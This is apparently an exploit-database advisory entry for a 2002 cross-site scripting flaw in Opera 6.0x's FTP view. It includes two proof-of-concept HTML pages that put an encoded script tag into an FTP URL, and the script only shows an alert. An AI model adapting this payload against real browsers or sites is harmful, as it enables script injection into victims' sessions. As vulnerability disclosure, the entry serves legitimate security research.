Opera 6.0.x - FTP View Cross-Site Scripting

Author: Eiji James Yoshida
type: remote
platform: windows
port: 
date_added: 2002-08-06 
date_updated: 2012-10-03 
verified: 1 
codes: CVE-2002-2358;OSVDB-59529 
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application_url:

source: https://www.securityfocus.com/bid/5401/info

A cross-site scripting vulnerability in Opera has been reported. When viewing the contents of an FTP site as web content, the data within <title> tags is not sanitized. An attacker may embed javascript between open and closing <title> tags in a FTP URL.

This vulnerability has been confirmed on Opera 6.03 and 6.04 for Windows 2000.

<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@[FTPserver]/">
</head>
<body>
<script>window.open("ftp://[FTPserver]/");</script>
</body>
</html>

Example:
<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@ftp.opera.com/">
</head>
<body>
<script>window.open("ftp://ftp.opera.com/");</script>
</body>
</html>